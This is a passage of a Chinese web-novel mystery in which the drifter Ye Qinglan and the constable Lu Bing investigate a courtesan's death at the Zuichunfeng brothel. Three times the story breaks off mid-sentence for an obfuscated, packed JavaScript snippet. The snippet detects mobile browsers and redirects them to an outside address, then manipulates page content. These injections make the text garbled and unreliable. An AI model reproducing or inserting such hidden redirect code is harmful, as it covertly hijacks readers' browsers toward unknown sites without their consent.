这一侧的街道上空无一人,沿街的商铺都门窗紧闭。 他正要抱着柱子爬下,突然眼前一花,锦绣绸缎庄和王麻子汤饼店中间的夹缝里,冒出一个头来。 这头有常人的两倍大,浑圆肥腻,活像一只红烧肉圆。肉圆左右转动观察一番,随后身子也挤了出来。身子一出来,倒显得肉圆不那么大了。少说两百斤肉裹在绛红色的绸衫里,脖子上还画蛇添足地围了一圈毛领子。 这大胖子鬼鬼祟祟地穿过街道,停在醉春风紧闭的大门外,呆望了一会儿,撅起屁股,扒在门缝上偷看。 四下一时静极,只有湖水轻柔的拍岸声。 那胖子看了半天,叶青岚也在屋顶看了他半天,直到画舫那边传来幼薇的一声惊呼。 胖子吓了一跳,扭头就跑。 叶青岚赶紧顺着柱子溜下去,这红烧肉圆身材虽胖,动作却出奇地敏捷,等他跳到街上,竟已经跑得没影了。 叶青岚缓缓拍掉衣服上的灰,想了想,转身向画舫走去。 幼薇一身绿衣,正在翘起的船头上练舞。陪她来的女子站在岸边,手握一截竹枝。 叶青岚观赏了一会。幼薇明显是新学乍练,动作还不熟悉。每当她稍有迟疑,岸上那人就挥起竹枝,抽在她身上不同地方,有时是手脚,有时是腰背。 竹枝沾了水,挥起来嗖嗖响,打上裸露的肌肤,顿时起红印子。方才那声惊呼,想来是幼薇挨打时发出来的。 她也真能忍,挨打归挨打,动作不停,这支舞的风格不像《折柳》那样柔美,而是大开大合,一个转圈接一个转圈。幼薇后背的薄纱已经被汗浸透了。 叶青岚纳闷,幼薇擅琴,凝香擅舞,这上元舞为什么不让凝香来跳? 一遍跳完,幼薇扶住船舱,大口喘气。岸上的女子收起竹枝,一言不发。 叶青岚从藏身处走出来,大叫一声,“跳得好!” 二女都被吓了一跳。岸上的女子回过头来。 她并不很老,看起来不到四十,年轻的时候也许是个美人,可如今不施粉黛,素面朝天,眉头紧皱,脸上像是结了一层霜。 叶青岚歉然道,“两位莫怪。我一早来等张记开门,无意中见到画舫上有人跳舞,还以为是天女下凡。” 幼薇扑哧一笑,“公子谬赞。” 不记仇的姑娘就是好。昨晚冒犯了她,转眼就忘干净了。话说回来,叶青岚冒犯过的所有人都不记仇。 那陌生女子却粗声道,“什么天女,婊子而已。” 叶青岚一呆。 幼薇尴尬地赔笑,“公子莫怪,我们是醉春风的。我叫幼薇,这位窈娘姑姑是楼里的舞蹈教习。” “如此说来,姑娘们的舞都是姑姑教的?” 窈娘道,“老身半残之躯,哪里教得了这许多人,强打精神点拨一二罢了。” 幼薇解释道,“姑姑早年受过伤,有腿疾,走不快。” 叶青岚眼望竹枝,点点头,“原来如此,这竹枝想来是一根拐棍了,我还以为是专门用来打人的。” 窈娘冷冷道,“就是用来打人的。打疼了,动作就记得牢了。” “……舞姬都是这样打出来的?” “自然。” 怪不得幼薇房里备有伤药。 “照夜妃也挨过打吗?” 此话一出,幼薇脸色微变,看向窈娘。 窈娘淡淡道,“不错。人人学舞都要挨打。我年轻时不知挨了多少打。我的师父,我师父的师父,都是如此。” 叶青岚吐了吐舌头,“想不到做舞姬如此不易。” 窈娘嫌弃地瞟向幼薇,“打得手都酸了,还跳得像矮脚鸡一般,真是可笑。” 幼薇的俏脸胀得通红,“待我多学几日,自然就纯熟了。” “手粗腿短,练也无用。” “你……” 她眼中分明闪过一丝怨毒。 窈娘视而不见,转向叶青岚,“这位公子,舞姿鄙陋,恐污了尊目,还请上元节再来吧。” “这便是上元舞?” “不错。上一任花魁暴亡,不得不换了人,临时抱佛脚。” 上元舞是蔡妈妈最在意的,为了确保照夜妃留下来跳完这支舞,特意雇了阿猫阿狗日夜监视她。依她对陆捕头所言,上元舞若是大获成功,几乎可以抵半年收益。 幼薇扬起脸,头上的金钗在太阳底下闪闪发光,“姑姑请放心,我一定会跳好这支舞的。” 叶青岚在张记汤饼店门口守了一刻钟,才等到张老伯出摊。这一早上,他又爬屋顶又找线索,基本确定那个陪了他四晚,还给他包扎伤口的姑娘有重大嫌疑。他心里不是滋味,借故对着张老伯好一顿数落,说自己饿得前胸贴后背,盼星星盼月亮才把他盼来。 张老伯难得睡个懒觉,竟遇上这么个饿死鬼投胎的主顾,堵着摊子要吃的,忙不迭地起锅烧炉,蒸了一屉金黄油亮的大烤饼,供他挑选。 叶青岚嘴里叼了个烤饼,还不停地嘟囔,芝麻粒直往下掉,“老伯好睡,想是在下这点碎银子,老伯根本不放在眼里。” 张阿伯陪笑,“公子多包涵,这条街做的是夜市生意,晚上客人才多呢。忙到子时收摊,总要回去歇几个时辰不是。” “既如此,劳烦多给我几个烤饼包起来,免得我明天盼不到老伯,饿死在摊子前。” 张阿伯眉开眼笑,把一屉饼子都卖给了他。 叶青岚把一大包烤饼揣在怀里。饼子热乎乎的,捂得胸前的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17255577|197985||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 伤口也没那么疼了。他远远瞄了一眼画舫。幼薇和窈娘仍在那里。幼薇白皙的双手时而握拳,时而作兰花状,姿态曼妙。 叶青岚盯着那双手看了半天,叹了口气,慢悠悠地往提刑司的方向走去。 天已完全亮了,太阳晒在背后殊无暖意。 拐进提刑司门前那条街,叶青岚的脚步自动停了下来。 一顶八抬大轿横在路中间,提刑司的差役们列队两侧,轿子前站着一个鹰钩鼻子薄嘴唇的中年男人,身穿三品大员的官服,手持长鞭,满脸怒容。 他脚下跪着一人,正是嚣张跋扈,人见人怕的提刑司三板斧,陆冰陆捕头。 陆捕头除了官帽,扒了衣服,精壮的后背裸露在外。上面鞭痕交错,触目惊心,还在滴滴答答地淌血。 长鞭在空中转了个圈,忽地落下,抽在陆冰背上。 陆冰闷哼一声,血痕又添一条。 旁边一个须发灰白的官员愁眉苦脸道,“陆大人,再这么打下去,只怕令郎的身子受不住。” 刑部侍郎虎目含威,“宋大人,你执掌提刑司一向宽厚,对犬子未免太纵容了,任由他胡作非为,无法无天。闹出这等丑事,外头都要骂我这个做父亲的教子无方。” 宋大人连连道,“大人言重了。陆捕头于公事一向是很上心的……” “就怕是上错了心!”陆大人用鞭梢一指儿子,“你无凭无据,抓那么多举子做什么?” 陆冰整个后背鲜血淋漓,声音居然还很稳当,“他们都和死者有过接触。青楼腌臜之地,既涉风月,又涉钱财,极可能生出怨恨纠葛。” 啪,又一鞭子抽下来。 “她做婊子的,就靠接触男人过活,你怎么不把所有逛青楼的都抓起来?” “儿子已经派人去抓了。” “混账!” 陆大人身子晃了晃,捂住心口,看来当真气得狠了。 一个家丁走上来,给他拍背,“夫人嘱咐老爷当心身子。” 叶青岚凝目一瞧,认出此人正是上回提着一盒点心,强闯审讯间的那位。看来陆府出人才。 这父子俩,从长相到性格,再到惯用的武器,都是一脉相承。 陆大人推开家丁,“我问你,那些举子都是有功名在身的,一旦考中,就是天子门生。你抓人打人的时候,就没想过来日如何向天子交代?” 陆冰迟疑了一下,“儿子只是为了查案。” “这话谁会相信?” 宋大人连声道,“我信,我信。” 陆大人没理他,“今儿上朝的时候,礼部田大人特意对我说,会馆建得粗陋,惟恐举子们住着不安全,多亏刑部费心,把那里查了个遍,恶人定不敢来了。你可知这话是什么意思?” 陆冰道,“礼部怪我们惊扰举子。” “算你还有点脑子!会馆就建在太学对面,你去抓人,一点都不顾及田大人的面子!赶紧把举子们放了,好好地跟人家赔罪,再挨个用马车送回去!” “还没审问完,不能放!” 9. 第 9 章 陆校目眦欲裂,“逆子!陆家出了这种人,真是家门不幸,迟早被你连累死。宋大人,长痛不如短痛,你赶紧把我也绑了下狱吧。” 陆冰不吱声了。宋大人连连安抚,又喊来差役吩咐了几句。不一会儿,昨日被抓的举子们排成一队,从提刑司里走了出来,个个神情委顿,面有菜色。 叶青岚粗粗扫了一眼,举子们面上手上都没什么伤痕,想是还没来得及用刑。 陆大人正了正衣冠,朗声道,“犬子无状,让诸位受惊了,还望海涵。来日必另备薄礼,登门请罪!” 举子们重获自由,自然欢天喜地,作鸟兽散。有机灵的认出面前这位乃是刑部侍郎,还上前见礼。众人见了陆冰鲜血淋漓的后背,想他昨天还耀武扬威,今天报应来得如此之快,都感快慰。 玉面郎君柳十七郎阴阳怪气,“陆兄这是怎么了?莫非有人去令尊府上,将你三板斧的事迹宣扬了一番?” 乐游原主人孟惜朝讥笑道,“陆兄的本事再大,也大不过王法。老天毕竟还是长眼的。” 风流债主陈思贤张开嘴正想说什么,突然打了个大喷嚏,慌忙捂着鼻子跑了。 叶青岚看着他跑过自己身边,想起蔡妈妈的话。离近了看,此人确实瘦得皮包骨头,好像风一吹就能飘走。难道照夜妃骗光他全部身家,连饭钱都没给他留? 举子们陆陆续续走光了,陆冰还跪在地上一动不动。陆大人一言不发,上轿离开。 轿子刚转过街角,宋大人就亲自把陆冰扶了起来。 “陆捕头,本官知道你委屈,你一心只想找出真相,为死者讨回公道,等令尊气消了,定能明白这份苦心。” “多谢宋大人体谅。” “好说好说。来人哪,快去传医官。陆捕头,你这几日好好休养,不用来点卯了。” 陆冰把外袍往肩上一批,“不必休养了。我派人去商行抓恩客,算算时辰也该回来了。昨日栽了跟头,今日定要加急审问,免得再让人溜了。” 宋大人瞠目结舌,“也不急在这一时啊。” “大人放心,只要还有一口气,陆某定为提刑司鞠躬尽瘁,死而后已。” 叶青岚大为感动。这三板斧看似凶悍,原来是个认死理的,即使被老子打,也不放弃追寻真相。只可惜缉凶的手段实在太笨了些。 是时候帮他一把了。 他大摇大摆地走过去,朗声道,“陆捕头,花魁上吊案有线索了!” 众人见凭空冒出来一个陌生人,无不诧异。 陆冰狐疑地看看他,“你是何人?姓名、年龄、籍贯、职业,速速道来。” “在下叶青岚,浮世一闲人,二十七岁,金陵人士。”他从容道,“我怀疑醉春风的幼薇姑娘是杀人凶手。” “幼薇是谁?” “醉春风的新任花魁。照夜妃生前处处压她一头,她这一死,幼薇不但当上了花魁,连上元舞也换她跳了。” 陆冰皱眉,“一个弱女子能杀人?你不要异想天开,学本捕头断案。” 叶青岚噎了一下。三板斧抓人、拷打、抄家的本事,他可学不来。 他循循善诱,“陆捕头你想想啊,照夜妃的房门从里面锁了,凶手要进出,只能通过窗户。而幼薇就住在她隔壁。” “等等,你怎么知道照夜妃的房门从里面锁了?你到底是什么人?” 看来不爆点猛料是不行的。 “实不相瞒,我当晚就宿在幼薇房中,半夜迷迷糊糊醒来时,刚好看见她通过窗户爬回房里。” 陆冰长眉一轩,“当真?!” “千真万确!我当时没出声,第二天早上听说隔壁吊死了人,回去后,越想越觉得不对劲。大人明鉴,幼薇既有动机,又有作案时间,比那些读书人更有嫌疑啊!” 陆冰思量片刻,脑筋终于转过弯来,朝差役们一挥手,“去醉春风。” 蔡妈妈今日穿了一件绿色袄子,站在醉春风大门前揽客。脖子始终歪向一边。看到提刑司大队人马气势汹汹而来,她的脸刷地一下绿了,跟身上的衣服相映成趣。 陆冰还没勒住马就破口大骂,“谁揭的封条?!” “陆捕头息怒,”蔡妈妈歪着脖子小跑几步,往陆冰手里塞了一包银子,“上元节就快到了,达官贵人们都想来松快一下,我们总不好怠慢了人家。” 陆冰把银子掷在地上,“你把本捕头当什么人了?!” “哎哟,陆捕头消消气……” “回头再找你算账。”陆冰下了马,“我问你,醉春风里有没有一个叫幼薇的?” 蔡妈妈顿时眉开眼笑,“原来大人想要幼薇伺候,我这就叫她下来!” “不必,我亲自带人上去!” 差役们鱼贯而入,把蔡妈妈挤到了后面。叶青岚探出头来,没头没脑地问了句,“蔡妈妈,可是脖子不适啊?” 蔡妈妈见他没穿差役服色,却跟在差役队伍里,微感奇怪,“这位公子说的是,一早起来就疼得很,好像被人打了一下。” “哦?楼里还有别人受伤么?” “有啊!两个下人都伤到了脚脖子,一只左脚,一只右脚,问他们又什么都不记得……” “这就对了。”叶青岚压低声音,“照夜妃冤魂不散,半夜出来害人啦。” 蔡妈妈脸色一白。她原本不太相信鬼神之事,不过照夜妃死得如此蹊跷,还招来那么多凶神恶煞的官差,把醉春风搅得人仰马翻。再想到今早发现照夜妃房间的封条被撕,问遍了人也问不出来是谁干的…… 难道真是她冤魂未散,从房间里冲出来,缠上了自己和阿猫阿狗? “她……她为什么要害我们,又不是我们……” 话没说完,前方传来一声爆响,紧接着是幼薇的尖叫声。 叶青岚奋力挤到前面。 只见幼薇的房门大开,地上衣物凌乱。她半跪在榻上,头发散乱,慌里慌张地绑衣带,一个男人只穿着亵裤,光着脚跳下榻,大叫,“你们是什么人?” 唔,看来是亲热到一半,被陆捕头无情打断了。 陆冰亮出一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17255578|197985||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 块黑漆描金的令牌,“提刑司查案。闲杂人等退开。” 那半裸的男人颇有胆色,“提刑司算什么?知道我爹是谁吗?” 陆冰目光一凛,手伸向腰间鞭子。 若在平时,这一鞭定然挥出去了,可他刚被老爹打得重伤,扯到后背顿时剧痛,竟然使不出力来。 幼薇知道陆捕头的厉害,忙劝道,“王公子,别和他争。” 王公子在兴头上被人打断,百般不是滋味,“不就是隔壁吊死个人嘛,还查个没完了,害得我们幼薇姑娘连觉都睡不好……” 他伸手过去捏幼薇的脸,幼薇顺势扑到他怀里。 这对鸳鸯竟不避着人了! 叶青岚是个识趣的,当即别过头去。陆冰可看不得这副卿卿我我的丑态,喝道,“穿好衣服,跟我过来!” 两人不情不愿地分开。趁他们穿衣之际,陆冰大步跨过房间,推开窗户。 两个差役扑上,一左一右抓住幼薇,押到窗口。 陆冰指指窗外,“爬。” 幼薇惊道,“什么?” “从这里爬到隔壁去。” “官爷在说笑吧,这怎么爬得过去?” “爬不过去,就抓你下狱。” 幼薇声音发抖,“我不知犯了何错,官爷要这样逼迫于我?” “你做了什么,自己心里清楚。” 那王公子戟指大骂,“提刑司如此迫害一个弱女子,是何道理?” “本捕头就是道理。” “你仗势欺人!我要告上刑部,告上大理寺,我要告御状!” 叶青岚一个激灵,这说辞,倒像从他这里原封不动抄过去的。 笃,门外传来竹杖敲地的轻响。叶青岚回头一看,是窈娘。她全身倚在竹仗上,脸色惨白,额头上沁出豆大的汗珠,看来爬楼爬得十分吃力。 “官爷,幼薇不日就要表演上元舞,求您饶她一命。” 陆冰冷笑一声,“这个求情的理由,倒也别致。” 蔡妈妈抽出手绢拭泪,“上元舞若演砸了,醉春风势必元气大伤。幼薇已是临时替上的,经不起再换人了。求陆捕头高抬贵手。” “若是本捕头偏不肯呢。” 叶青岚暗暗摇头,陆冰此人实在是太过执拗,软硬不吃。查案哪能光靠威逼,要学会用点巧劲。 他朗声道,“幼薇,照夜妃出事前夜,我就睡在这房中,亲眼看到你爬窗出去,又爬窗回来,你敢说没有此事?” 此言一出,房中的空气像冻住了一般,所有的眼睛都盯在幼薇脸上。 幼薇惊恐万分,“你怎么……你胡说!我根本就不认识你!” 叶青岚捂住心口,“好啊!你怕我告发你,就翻脸不认人,莫非枕上那些海誓山盟都是假的?要我一句一句背给你听么?” 幼薇又急又气,扭着身子尖叫,“我没有!谁同你海誓山盟了!” 陆冰喝道,“老实点!” 王公子大喊,“别听他胡说,出事前晚明明是我和幼薇在一起。” 10. 第 10 章 满屋皆惊。 王公子对他怒目而视,“我来的时候,幼薇正在生闷气,地上都是碎瓷片,我好言安慰了几句,她便转怒为喜,和我缠绵了一夜。” 叶青岚无言以对。那天晚上他被照夜妃拖走后,就被一碗雪莲茶放倒,人事不知,天晓得隔壁有没有进男人。 陆冰看看王公子,又看看叶青岚,眼睛危险地眯了起来,“你们说的是同一日?” 叶青岚硬着头皮笑道,“不错。我们就爱三个人一起玩。” 王公子和幼薇异口同声道,“撒谎!根本就没有你这个人。” 陆冰沉下脸,“蔡妈妈,拿恩客簿子来。” 一本簿子从头翻到尾,当然找不到叶青岚的名字。 陆冰气得把簿子摔在他脸上,“竟敢对本捕头撒谎,我看你是活腻了。” 叶青岚看了看幼薇,长叹一声,“枉我来了那么多次,竟似风过无痕。” “少废话,抓回提刑司候审!” “慢着。”叶青岚声音一沉,“大人请探头往窗外看,和照夜妃房间相连的柱子上印有一个左手手印,正是爬窗时留下的。大人不妨和幼薇的左手做个比对。” 他分明看见幼薇的眼睛惊恐地瞪大了。 “如果对不上呢?”陆冰不想被耍第二次。 “如果对不上,在下自愿跟大人回提刑司。” “好!”陆冰一挥手,两名差役抱起幼薇的双腿,将她举上窗台,幼薇吓得尖叫,双手死死地扒住窗框。 “把手伸过去!否则就把你扔下去!” “土匪!强盗!”王公子骂道。 幼薇双目紧闭,颤抖着伸出一条纤细的手臂去够那柱子。 半晌,差役的声音传来,“禀陆捕头,对不上!柱子上的掌印更大些!” 叶青岚吃了一惊。 幼薇整个人顿时瘫软下来。 陆冰一把抓过叶青岚,“怎么回事?!” 叶青岚也是大惑不解,“难道是别人的手……” 陆冰亲自探身出去看了看,那柱子上的确有个手印。他略一思索,命差役们押着王公子,如法炮制,王公子一开始还激烈挣扎,等整个人被举上窗台,吓得一动都不敢动。 “禀陆捕头,还是不对,手指没那么长。” 陆冰一不做二不休,像老鹰抓小鸡似的,把在场的蔡妈妈、窈娘、下人们一一抓过来比对,差役们举人举得手臂酸麻,满头大汗,偏偏没有一个对得上的。 “禀陆捕头,那掌印很大,不像女子的。” 陆冰的眼光扫视一圈,定在叶青岚身上。 叶青岚主动伸出手。 两个差役抓着他的脚,举上窗台,叶青岚的手掌贴上柱子。柱子的触感和湖风一样潮湿冰凉。 他几乎不敢相信自己的眼睛:他的手和掌印严丝合缝地贴在了一起。 “禀陆捕头,分毫不差!” 叶青岚彻底懵了。 这怎么可能?他从来没碰过这根柱子啊。 身后响起陆冰阴恻恻的声音,“叶青岚,你胆大包天,自己杀了人,竟敢跑到本捕头面前故弄玄虚,诬赖他人,现在铁证如山,你还有何话可说?” 叶青岚在人间游荡了这么多年,何曾身陷如此无法辩白的境地,简直是搬起石头砸自己的脚。下方水波翻涌,湖面的粼粼波光刺入眼眸,晃得眼珠生疼。 陆冰狞笑,“等着砍头吧!” 叶青岚心念急转,双腿一用力,挣脱差役,纵身一跃,又一次跳进了冰冷的湖水之中。 第五日 午后,渺渺茶馆里炭火烧得正旺,暖意融融。台上坐了个老先生,折扇一摆,醒木一拍,讲起志怪故事来。 说有个方士修炼有成,学会了水遁之术,每回遇到敌不过的妖魔鬼怪,往水里一钻,便可消失得无影无踪,摆脱追击。 叶青岚坐在火炉边上,裹紧外袍,不时吸溜一下鼻涕。听到精彩处,大手一挥,慷慨地打赏了十个铜板。 他昨日使的也算水遁之术,一口气游过整个滴翠湖,到对面山脚下才浮出水面,往树丛里一钻,只露出两只眼睛。他看着提刑司的人在对岸大呼小叫地捞人,找到太阳落山,方才悻悻离去。 到手的嫌疑犯溜了,也不知那陆冰陆捕头会气成什么样子。 叶青岚熬到子时,确认安全了,才大摇大摆地走回客栈,让小二备了一盆热水,泡了个澡。然而连着两天受凉,这风寒算是染上了,一早起来就喷嚏不断、头重脚轻。自觉无力再爬上屋顶,再看一遍那倒霉的手印。 他昨天清晨亲眼所见,那明明是个女子的手印,怎么过了半天,竟变成了他自己的? 难道是有人栽赃嫁祸?可他承蒙上天厚爱,是不会被任何人记住的,谁会栽赃嫁祸给一个不存在的人? 他想了半天,想不出头绪,茶馆里的炭火熏得昏昏欲睡,鼻子像被水泥糊住了一样。 老先生讲完一段,丢下一句“欲知后事如何,且听下回分解”,起身行礼致谢。叶青岚数了数手里剩下的铜板,又给出去三枚,攥紧其余的,出了茶馆,钻进隔壁济善堂。 济善堂是间药铺,伤寒感冒、跌打损伤、妇科隐疾,什么药都卖,听说还私下买卖禁药。 叶青岚刚一进门,就和一个人撞个满怀。那人瘦骨嶙峋,一撞之下就倒摔出去,倒地的同时打出一个大喷嚏。 “阿嚏!” 叶青岚拉他起来,定睛一看,乐了。正是那甩了陆冰一脸鼻涕的书生。他本打算去找他,不料在这里遇见了。他的风寒好像又加重了,鼻子下面褪了一层皮,两颊深陷,满脸惊惶,像个痨病鬼。 “陈思贤陈公子?” 陈思贤吓了一跳,“这位兄台认得在下?” “在下叶青岚,浮世一闲人。前日路过湖边,正好看到陈公子和许多举子被提刑司抓去了,听闻那陆捕头外号三板斧,行事狠辣,在下好生忧心啊。” “原是这样……叶兄真是个好心人,阿嚏!” 他掏出一块脏兮兮手巾擦鼻子,“在下失礼了。” “陈公子这风寒还没好么?” “不但没好,反而加重了。” 叶青岚突发奇想,“不知陈公子如何染上风寒?” “这……天寒地冻,不小心染上的……叶兄,在下要回去服药了。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17255579|197985||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 眼神躲闪,形迹可疑。 叶青岚一把捉住他的左手,摊开来,横看竖看,又和自己的手掌贴在一起。两只手掌一样大,连手指长度都相差无几。 “叶兄这是做什么?” “陈公子擅长爬柱子么?” “不……不会。” “凫水呢?” “也不会。” 叶青岚有了主意,鬼鬼祟祟地向四周打量一圈,靠近陈思贤,耳语道,“你被提刑司的人跟上了,知道么?” 陈思贤大惊,手里的一包药掉在地上。 “当当当当真?” “那人就靠在柜台边上。别回头!假装什么事都没有,跟我走。我带你去安全的地方。” 陈思贤果然好骗,亦步亦趋地跟了上来。叶青岚牵着他出了济善堂,大步疾行。陈思贤眼神乱瞟,不住地问,“追上来了吗?” 看他的样子,实在是慌张得过了头。 “往山上走。” 沿湖走到尽头,拐个弯便是山路,两边郁郁葱葱,尽是常青乔木,偶有枝条伸出,拦住去路,隐隐传来犬吠。若是春秋时节,此山是踏青的好去处,可寒冬腊月,山路上一个人都没有,四下只有他们二人的脚步声。 山路蜿蜒向上,行至半山腰,水波声渐远。前方现出一个豁口,临风远眺,湖面碧波荡漾,对岸的醉春风看起来小了许多。 陈思贤喘了口气,“叶兄,提刑司的人还跟在后面吗?” 叶青岚转过头,突然凶相毕露,“我就是提刑司派来抓你的。” “啊?” 陈思贤一时脑筋转不过弯来,呆望着他。 叶青岚伸腿一绊,陈思贤纸片似的身体向前扑倒,叶青岚反拧他双手,一手扣住手腕,一手按住肩头。 陈思贤半个身子悬空,眼看就要被推下山崖,吓得大叫,“叶兄饶命!” 叶青岚无情地踢了他一脚,几粒小石子从崖边滑落,掉进湖水,溅起一串水花。 “救命啊!” “别装了!这湖你又不是没跳过。你这风寒就是前几日下水冻出来的吧!” “可这里比对面高多了啊!还没冻死,先摔死了。” “这里还不到三层呢。” 陈思贤打了个惊天动地的喷嚏,大声哭喊道,“我不是有意下毒!” 喊声回荡在湖面上:有意下毒……下毒……毒…… 看来放倒他的那碗雪莲茶,找到主人了。 叶青岚把陈思贤拉回来,“说吧,怎么回事?” 陈思贤双腿早就软了,瘫坐在山道上,一把鼻涕一把泪。 “我哪知道无梦散是毒药,我只是想趁她睡着,把当票偷回来,绝不想伤她性命!我们……我们可是有三生三世的情缘呢!” “……从头说!” 陈思贤可怜巴巴地吸溜着鼻子,“我本是乔陵县的书生,去年侥幸过了乡试,老父老母高兴得不得了,变卖了家里的两亩薄田,掏空了金银细软,供我上京赶考。我到了京城,但见满眼富贵繁华,当真是前所未见,又在会馆结交了一批同年考生,白日里谈论诗文,晚上饮酒抒怀,何其乐哉。 11. 第 11 章 “一日,李兄将我带去醉春风,我第一眼看到绛珠,就知道……就知道她是我命中注定的姻缘。” 陈思贤说到这里,放声大哭起来。 他哭泣的样子着实可怜,叶青岚从怀里摸出一张帕子,递给他。 “我猜,她叫绛珠的时候还没当上花魁,凭你兜里的银子,还能够见上一面。” “和银子无关,我们是心意相通,两情相悦!绛珠不但美若天仙,而且琴棋书画样样精通,可她说,那些她都不喜欢,是妈妈逼她学来讨好客人的。她喜欢躺在床上,听我给她读话本,有时听得入了迷,能听一整夜。她后来改名字,也是因为那本话本。” “哦?”叶青岚被勾起了兴趣,“那话本还在吗?” “不在了。”陈思贤痛苦地垂下头,“话本里有个女子,名叫照夜妃,和陈侍郎一见钟情,偏偏两人之间隔着国仇家恨,又遭第三人插足,分离十载,历经重重劫难,才在海外仙山重会,可惜照夜妃彼时已身染沉疴,最终与陈侍郎天人永隔。她一缕芳魂飘飘荡荡上了阎罗殿,一看生死簿子才知,原来她前世是西王母头冠上的一颗明珠,陈侍郎前世是为西王母送信的青鸟,只因青鸟误啄了明珠,就此生出一根情丝,一珠一鸟化而为人,下凡历这一世情劫,还这一段因缘。” 叶青岚听得牙酸。这些风月话本从前朝写到本朝,万变不离其宗,总是同一个套路。 “我和绛珠为二人的旷世奇情流了许多眼泪。又因为我姓陈,绛珠名字里有个珠字,我便对她说,我们俩定是那陈侍郎和照夜妃转世,否则千千万万人中,怎么刚好让我捡到了此书,又刚好带到她面前,刚好一个是才子,一个是佳人,配成天造地设的一对。她听后深以为然,当即把名字改成了照夜妃。” 陈思贤说得动了情,渐入忘我之境,惊惧之色褪去。叶青岚觉得自己该做出些动容姿态,好鼓励他说下去。 “二位果然是天赐良缘。” 陈思贤大受鼓舞,连声音都拔高了,“我和她前世有缘,这是确凿无疑的。她改名后的第二天,就凭一支嫦娥奔月舞名动京城,大红大紫,求见的王孙公子能从城东门排到城西门。” “那你排在哪个门?” 这话问得犀利,陈思贤登时结巴了,“我……我是不同的。” “哪里不同?” “那些只是客人。而我是她的恋人。她说……她会赎身,要我把所有钱财都给她。” “原来如此。既然是三世的恋人,些许身外之物,何足道哉?” 陈思贤激动地望向他,“想不到叶兄竟是我的知音!我把全部身家都给了她,老母亲临行前给我的传家宝玉镯子也典当了换成银票。她拿了钱和当票,让我回家等消息。” “你苦等多日,她却翻脸无情,拒不见你,是不是?” “不……她见了我一面,说……说另有所爱,要与我断情。说当了花魁,吃穿用度水涨船高,我给她的银子都拿去买舞衣了。” 叶青岚了然,“好一个重情重义的女子啊!你就此由爱生恨,起了杀心。” 陈思贤跳起来,“不是的!我们三世情缘,注定要在一起的,这只是情路上的小小坎坷。我虽痛苦得吃不下饭,幸得郑兄、许兄两位兄台高义,一直在照料我,还拿银子出来接济我。可母亲给我的玉镯子若不拿回来,实在没法交代。我厚着脸皮去求照夜妃把当票还给我,却被蔡妈妈轰了出来。 “正在走投无路之时,忽然有封匿名信寄到会馆,寄信人说他是个过路的游侠,途径醉春风,听闻我痴心错付之事,大为义愤,特赠我一种无梦散,喝下去能让人无知无觉地沉睡六个时辰。我可以借此机会拿回属于我的东西。 “我知道蔡妈妈近日新得了一批雪莲,每晚后厨都会往花魁房间送一盅雪莲茶。我用许兄给的银子买通了后厨,把药下在茶里,送了上去。本想趁她昏睡潜入房间,把当票拿回来,没想到……” 叶青岚接口,“没想到茶送了进去,却毫无动静,照夜妃关门拒不见客,你只得铤而走险去爬窗户。” “叶兄真乃神人也!我挨到街上的商铺都熄了灯,夜深人静的时候才开始爬,哪知刚爬了半层楼腿就软了,听到对面山中夜枭的叫声,害怕得不得了,手一滑,不慎掉进了湖里。我又不会凫水,慌乱中喝了一肚子凉水,勉强捡回一条命。回到会馆,当晚就发起了高热。第二天提刑司来抓人,把我从床上拽下来,我才听说绛珠已死。” 他扯住叶青岚的袖子,“叶兄,我是今天问了济善堂的掌柜,才知道无梦散是毒药啊!我对绛珠爱护还来不及,万万不会想害她的。” 叶青岚同情地看着他,“你真的相信把无梦散给你的是个过路的游侠?” 陈思贤瞪大眼睛,一脸茫然。 “你和照夜妃的事,有多少人知道?” 陈思贤面露羞惭,“常去醉春风的人都知道。” 叶青岚从头想了一遍。若这些都是现编的,那陈公子堪比茶馆里头说书的老先生了。 “你的无梦散被我喝了。” “啊?” “所幸我命大死不了。若你说的是真的,照夜妃的死因是吊颈,不是中毒,你又何必如此惊慌?” 陈思贤大摇其头,“陆捕头派你来跟踪我,便是起了疑心了。听说提刑司查案事无巨细,一旦被盯上,不死也要扒层皮。” 身后的山道上响起一道冰冷的声音,“不错。” 一个身长超过八尺,威风凛凛的男人从树丛里走出来,手里牵着一头浑身黝黑的细犬。 他一松缰绳,那黑犬龇着牙冲过来,一下子扑倒了陈思贤,利齿逼近咽喉,眼看就要咬下。 叶青岚眼疾手快,掐住狗的后颈,把它提起来。然而为时已晚,陈思贤吓破了胆,狂呼乱喊,“我不知道那是毒药!” 陆冰眼睛一亮,“你说什么?” 叶青 